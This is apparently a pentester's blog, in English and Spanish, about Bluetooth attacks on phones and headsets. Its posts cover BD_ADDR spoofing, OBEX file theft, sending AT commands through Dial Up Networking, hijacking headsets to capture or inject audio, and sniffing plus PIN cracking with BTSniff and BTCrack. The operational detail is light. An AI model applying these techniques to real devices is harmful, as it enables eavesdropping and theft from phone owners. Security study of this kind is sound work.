There's a great tool called bdaddr that allows you to change the BD_ADDR, the physical address, in your Bluetooth adapter. It works with Ericcson, Cambridge Silicon Radio and Zeevo chipsets.

I'm glad to know that the HTC Shift comes with a CSR integrated chipset, so i'm able to change its BD_ADDR.

After changing the address, you need to turn the hci0 interface down and sometimes even plug the dongle out and in again so changes are applied.

You can get the code of bdaddr here and you can find the tool ready to Make here, since it's not included in the last bluez-utils package shipped with Ubuntu.

Sending / Getting files from mobile phones

2008-10-06T20:35:00.008+02:00

The capability of sending files and even getting files is another important goal when it comes to attack mobile phones. Bluetooth supports file exchange through the OBEX protocol. Two profiles can be used for this, among all defined by the Bluetooth SIG:

Object Push Profile: requires Authorization.
File Transfer Profile: requires Authentication and Authorization.

Object Push Profile: allows you to send files.

You can use ussp-push tool, available after installing ussp-push package in Ubuntu.

Or either you can use Obexftp, available after installing obexftp package in Ubuntu.

It's important to force it to use the channel associated to the Object Push Profile.

File Transfer Profile: allows you to send files, get files and list directories.

You can use Obexftp to send files. If no channel is specified, it will use the one associated to the File Transfer Profile by default.

You can also list directories and browse through them.

Finally, you can get files from the phone to the PC.

I remember the old openobex-apps package for Fedora used to include the obex_push tool, but it's no longer needed since you can use Obexftp and force it to use the channel associated to Object Push Profile.

Sending AT commands to mobile phones

2008-10-04T20:50:00.012+02:00

The execution of AT commands is one of the main goals in hypothetical attacks to mobile phones. AT commands are a set of instructions that allow remote configuration and operation in a GSM device, such as mobile phones. Like a "remote shell". However, not all the AT commands are always implemented by manufacturers in their devices. I divide them in 3 groups:

Basic operations: voice and data calls, set call divert, manufacturer info, model info, IMEI, battery status, signal status.
Address book operations: read, add and delete contacts from the address book and also get the last dialed/missed/received calls list.
SMS operations: list, read, write, send and delete SMS messages.

Each of these groups may or may not be implemented by manufacturers. Usually, the basic operations group is.

AT commands can be sent to a mobile phone through the Dial Up Networking Bluetooth service. A link to that service requires authentication and authorization, so both devices must be paired up and the phone user must have accepted a connection attempt from the box.

In order to pair Ubuntu with any other Bluetooth device, the /etc/bluetooth/hcid.conf file must be configured properly. The standard configuration in Ubuntu works fine:

#
# HCI daemon configuration file.
#

# HCId options
options {
# Automatically initialize new devices
autoinit yes;

# Security Manager mode
# none - Security manager disabled
# auto - Use local PIN for incoming connections
# user - Always ask user for a PIN
#
security user;

# Pairing mode
# none - Pairing disabled
# multi - Allow pairing with already paired devices
# once - Pair once and deny successive attempts
pairing multi;

# Default PIN code for incoming connections
passkey "1234";
}

# Default settings for HCI devices
device {
# Local device name
# %d - device id
# %h - host name
name "%h-%d";

# Local device class
class 0x000100;

# Default packet type
#pkt_type DH1,DM1,HV1;

# Inquiry and Page scan
iscan enable; pscan enable;
discovto 0;

# Default link mode
# none - no specific policy
# accept - always accept incoming connections
# master - become master on incoming connections,
# deny role switch on outgoing connections
lm accept;

# Default link policy
# none - no specific policy
# rswitch - allow role switch
# hold - allow hold mode
# sniff - allow sniff mode
# park - allow park mode
lp rswitch,hold,sniff,park;
}

Using this configuration, the system will prompt an applet asking the user to confirm the PIN when the pairing process takes place.
This is because the security user; option tells Ubuntu to interact with the gnome desktop environment. If security auto; option is set, then Ubuntu will execute the line passkey "1234";. This action can be changed by other PIN helpers like the old bluepin Python script, just by installing it and including its path pin_helper /???/bluepin; instead.

How to send AT commands to a mobile phone

First, you need to discover the mobile phone and get the channel associated to the Dial Up Networking service.

After, you can connect with rfcomm connect 0 BD_ADDR DUN_channel.

The link to Dial Up Networking service will require authentication and authorization between the mobile phone and the box.

If both devices haven't been paired up yet, the pairing process (authentication) will start. The phone will require the user to insert a PIN, that PIN must be confirmed in Ubuntu and the system will display that both devices are paired.
If the Ubuntu box is not included in the list of trusted-devices in the mobile phone (a previous connection is needed for that), it will require the user to accept the connection (authorization) to the Bluetooth service.

Now the RFCOMM link has been successfully established, AT commands can be sent to the phone using the cu tool, included in the Taylor UUCP package.

Discovering Bluetooth devices and services

2008-10-03T17:24:00.007+02:00

Latest Linux distributions install by default the bluez-utils package. Among all the useful tools included within the package, you can find these two:

Hcitool: Remote Bluetooth devices discovery, name resolution, class identification.

Sdptool: Service Discovery Protocol management, Bluetooth services discovery.

Enumerating the services supported by certain remote device.

Searching for remote devices that support Dial Up Networking Bluetooth service.

Searching for remote devices that support OBEX FTP Bluetooth service.

I got the Shift

2008-10-02T18:28:00.010+02:00

I just got myself an HTC Shift a month ago. I bought it during a trip to Taipei, around 250€ cheaper than in Spain. But there were 4 inconveniences:

Windows Vista Business in traditional Chinese language.
SnapVUE (limited Windows Mobile) in traditional Chinese language.
Regional warranty.
No 'ñ' character nor accent marks.

Nevertheless, i succeeded in changing the language in both OS as well as installing Ubuntu Linux, so now i have an UMPC with the following features:

Windows Vista Business in Spanish.
Ubuntu Linux 8.04 in Spanish.
Windows Mobile 6 custom ROM in English.

Not bad. Here is how i did it...

1. Switching Windows Vista language

Although i first thought it was impossible to install a language pack in Windows Vista Business Edition (only in Ultimate Edition) i followed this workaround and was able to install Windows Vista MUI Spanish language pack and switched from traditional Chinese language successfully.

Once i could use Windows Vista properly (i'm not good at traditional Chinese) i created a partition for Ubuntu Linux with the Disk Management tool.

2. Installing Ubuntu Linux

It wasn't hard to install Ubuntu Linux 8.04 in the HTC Shift using a portable USB CD reader, although it could also have been done from an image stored in an USB Pendrive. Most of the hardware worked out of the box:

Audio
Ethernet
Bluetooth
SD Card
Webcam

And thanks to pof, a simple script automatically configured the remaining stuff:

Touchscreen
WiFi
3G

Easy as pie.

3. Switching Windows Mobile language

SnapVUE (limited Windows Mobile) also displayed traditional Chinese language, completely unintelligible (for me).

Switching the language in Windows Mobile can't be done, unlike Windows Vista, so i was forced to install a new ROM. Unfortunately, HTC hasn't published the official SnapVUE ROM yet (though other HTC Phones official ROMs are available at HTC's website) so i had to:

Surprisingly, this ROM i installed activated GPS function in SnapVUE side too. From now on, i can install other custom ROMs that may activate SD card, phone, Bluetooth and WiFi on SnapVUE. That'd be great.

Finally i got the perfect system for Mobile Security pentest, all in less than 1 Kg! Now let's see what it's capable of... :)

Here i go

2008-10-01T17:36:00.004+02:00

I'm back in business, baby ;)

Estado del arte de los Ataques a Manos Libres Auriculares

2007-11-27T19:27:00.004+01:00

El pasado Octubre, durante el evento SANS NS2007 en Las Vegas, Joshua Wright realizó una presentación sobre Seguridad en Bluetooth dirigida fundamentalmente a mostrar el estado del arte de los ataques a Manos Libres, que parece ser la línea de investigación en la que se está centrando últimamente.

En su entrada del blog sobre el evento, recoge algunas experiencias interesantes atacando diferentes modelos de Manos Libres:

- El Manos Libres Jawbone parece que acepta solicitudes de emparejamiento de cualquier equipo aunque el dispositivo no se encuentre en modo visible (discoverable). Para ello, es necesario conocer su dirección BD_ADDR. Si el dispositivo está en modo oculto (non discoverable) no podrá ser descubierto con un HCI inquiry y puede llevarse a cabo un ataque de fuerza bruta sobre un rango de direcciones BD_ADDR con Redfang para poder detectarlo e intentar el emparejamiento una vez conocida la BD_ADDR. Simple. Es interesante porque el Jawbone es supuestamente el mejor equipo Manos Libres del mercado, basado en tecnología militar para filtrar acústicamente el ruido de ambiente, y toda la gente guay tiene uno. La demo del producto es impresionante.

- Los Manos Libres Motorola y Jabra, a pesar de no estar basados en tecnología militar son más seguros. :P No aceptan solicitudes de emparejamiento de dispositivos desconocidos a menos que el equipo se encuentre en modo visible (discoverable), para lo cual suele ser necesario apretar una combinación de botones. Sin embargo, en modo oculto (non discoverable), aceptan solicitudes de re-emparejamiento con dispositivos con los que anteriormente se han emparejado, es decir, dispositivos conocidos. Por tanto, se deduce que llevando a cabo un ataque BD_ADDR Spoofing de primer nivel y suplantando la dirección BD_ADDR del teléfono móvil con el que usualmente se comunica el Manos Libres, el atacante estaría en disposición de emparejarse con el dispositivo y acceder a sus funciones de audio. Sólo hace falta suplantar la dirección BD_ADDR de un dispositivo conocido, no hace falta suplantar la clave de enlace compartida ya que se genera una nueva tras el emparejamiento, así que el ataque Blue MAC Spoofing es sencillo de ejecutar.

En ambos casos, recuerdo que para poder emparejarse pasivamente con el Manos Libres el atacante debe conocer el PIN por defecto implantado en este dispositivo, algo fácil de saber consultando el manual del fabricante.

Una vez conocido el PIN, el atacante se empareja con el Manos Libres (siempre que este esté encendido pero no en uso con un teléfono móvil en ese momento) y puede acceder a las funciones de audio, con capacidad para:

- Capturar el audio recogido por el micrófono del dispositivo
- Inyectar audio que sería reproducido por el auricular

Esta es la demo que llevó a cabo Josh en el evento SANS NS2007. Podéis descargaros la presentación original desde aquí o con anotaciones desde aquí.

Video Headsets Hijacking

2007-09-26T19:26:00.003+02:00

A través del blog de Collin Mulliner, experto en seguridad Bluetooth y en Pocket PCs, he llegado a un video de Joshua Wright en el que se muestra lo sencillo que resulta comprometer la seguridad de un dispositivo Manos Libres Auriculares. Esta técnica, conocida como Headsets Hijacking, no es nueva. De hecho, ya hablé de ella en mi Proyecto de Fin de Carrera a nivel teórico basándome en las experiencias de Kevin Finisterre con varios Manos Libres.

El ataque es sencillo de entender y se desarrolla del mismo modo que el ataque Car Whisperer contra dispositivos Manos Libres de Automóvil. Básicamente...

La primera vez que dos dispositivos Bluetooth intentan establecer comunicación, se utiliza un procedimiento de emparejamiento para crear una clave de enlace común a partir de un código de seguridad Bluetooth (clave PIN), que es requerido a cada dispositivo y que debe ser el mismo para los dos. Posteriormente, cuando los mismos dispositivos se comuniquen, utilizarán la clave de enlace para funciones de autenticación y cifrado.

El hecho de incorporar una clave PIN por defecto (por ejemplo, 0000) en un dispositivo Bluetooth significa que cualquier usuario con conocimiento de esa clave estándar puede emparejarse con el dispositivo y comunicarse con él de forma autorizada. En el caso de un Manos Libres Auriculares, un atacante podría acceder a las funciones de audio implementadas en el terminal y llevar a cabo las siguientes acciones con fines maliciosos:

Capturar el audio recogido por el micrófono del dispositivo

Inyectar audio que sería reproducido por el auricular.

Como bien comenta Josh, es importante que el dispositivo Manos Libres esté activado pero no en uso en el momento del ataque, es decir, que no esté cursando una llamada telefónica.

Para llevar el ataque, Josh hace uso de tres elementos importantes:
- La herramienta Car Whisperer del grupo Trifinite, para Linux.
- Una antena unidireccional para incrementar el alcance del adaptador Bluetooth y detectar dispositivos a mayor distancia.
- Una Tablet PC Nokia 770, que corre sobre Linux, para controlar el portatil de su mochila de forma inalámbrica y pasar desapercibido mientras lleva a cabo el ataque.

Realmente hace un poco el paripé ya que el ataque podría ser desarrollado perfectamente desde la Tablet PC Nokia 770 si la herramienta Car Whisperer estuviera portada a Maemo, la plataforma de desarrollo de las Tablet PC de Nokia con Linux, al igual que otras herramientas del grupo Trifinite.

Sin más, os dejo con el vídeo:

Qué cachondo el tío... me encanta la dramatización, pillastre!!

Avances en sniffing Bluetooth

2007-08-16T19:25:00.003+02:00

Esta semana se han producido dos grandes avances en relación con la capacidad para sniffar comunicaciones Bluetooth.

Recordemos que sniffar comunicaciones Bluetooth es un tema bastante complicado debido a que:

1) La técnica de salto de frecuencias impide a cualquier dispositivo que no forme parte de la piconet (que no esté emparejado con el maestro) escuchar las comunicaciones, ya que no tiene acceso a la tabla de saltos utilizada para la transmisión de paquetes.

2) Los adaptadores USB Bluetooth convencionales no se pueden poner en modo promiscuo (como las tarjetas Ethernet o Wi-Fi). Hasta el momento, existían adaptadores con capacidad para ponerse en modo promiscuo, sniffers, pero su precio rondaba los 1000$ en el mercado extranjero.

Durante el pasado evento 23C3, Thierry Zoller publicó la herramienta BTCrack para Windows. BTCrack es un programa que permite crackear el PIN y la clave de enlace compartidos por dos dispositivos a partir de las tramas capturadas durante el emparejamiento de ambos. El software existía, lo dificil y caro era conseguir el hardware que sniffara esas tramas. En aquel momento, Zoller hizo un llamamiento para encontrar una técnica que permitiera construir un sniffer Bluetooth de bajo coste.

Max Moser acudió al llamamiento y publicó un paper en el que desmontaba el mito de que conseguir un sniffer Bluetooth sólo era posible adquiriendo carísimos productos propietarios. Realizando ingeniería inversa del producto FTS4BT fue capaz de flashear un adaptador USB Bluetooth convencional con el firmware del sniffer comercial. La aplicación reconocía el hardware como parte del paquete comercial y permitía sniffar.

El procedimiento de construir un sniffer Bluetooth a partir de un adaptador USB Bluetooth convencial podía desarrollarse en Linux, pero para enviar comandos al hardware y sniffar con él hacía falta el producto comercial para Windows.

Pues bien, la primera noticia es la publicación de una herramienta que permite enviar comandos al adaptador hardware y utilizarlo para sniffar. El nombre de esta herramienta es BTSniff y está disponible para Linux. El autor es Andrea (aka sorbo) @ http://darkircop.org/.

BTSniff consta de dos partes:

- Ensamblador para construir tu propio firmware
- Frontline para envío de comandos: sincronizar con el maestro, sniffar tramas, ...

En principio, BTSniff sólo funciona con adaptadores USB Bluetooth con chipset CSR que han sido flasheados con el firmware del sniffer comercial.

La otra noticia es que BTCrack ya dispone de versión para Linux, aunque aún no se ha hecho pública. Supongo que con la publicación de BTSniff, Zoller no hubiera tardado en hacer pública también esa versión y rematar la exclusiva en seguridad Bluetooth, si no fuera por la reciente ley §202C StGB que acaba de aprobarse en Alemania y que prohibe la distribución de herramientas que pueden ser utilizadas con fines de hacking.

Gracias a estos dos avances, el sniffing de comunicaciones Bluetooth está más cerca de ser una realidad (no un simple PoC) y estar al alcance de cualquiera. (Aunque, ¿eso es bueno?). En cualquier caso, la nueva especificación 2.1 de Bluetooth que acaba de ser publicada por el SIG introduce algunas mejoras en seguridad supuestamente dirigidas a evitar el sniffing de las comunicaciones Bluetooth. No obstante, de aquí a que la especificación 2.1 domine el mercado de los teléfonos móviles aún quedan años de diversión :)

¿Y para qué sirve todo esto? Diréis lo no iniciados en seguridad Bluetooth...

Os cuento: Gracias a BTSniff, un atacante podrá sincronizarse con el maestro de una piconet y sniffar las tramas transmitidas durante una comunicación Bluetooth con otro dispositivo. Lo interesante sería llevarlo a cabo durante el emparejamiento de dos dispositivos Bluetooth. Capturando estas tramas, el atacante tendría acceso a las keys generadas en el proceso de emparejamiento y podría obtener la clave de enlace Bluetooth a partir de las mismas con ayuda de BTCrack. Con la clave de enlace en su poder, el dispositivo atacante podría acceder de forma transparente a cualquiera de los dos dispositivos suplantando la BD_ADDR del otro dispositivo y utilizando la clave de enlace crackeada. El acceso transparente implica poder conectarse a cualquier perfil del dispositivo objetivo saltándose los mecanismos de seguridad de Bluetooth de autenticación y autorización, tal y como se explica en el ataque BD_ADDR Spoofing. Las posibilidades: muy "interesantes"... como el acceso a los comandos AT (realizar llamadas de teléfono, gestión de la agenda de contactos, gestión de mensajes SMS, ...) o el acceso al servicio OBEX para el robo de archivos del teléfono móvil.

Ya era hora de que apareciese alguna novedad en el mundo de la seguridad Bluetooth, después de que la cosa haya estado parada durante un año. ¡Buenas noticias!

Saludos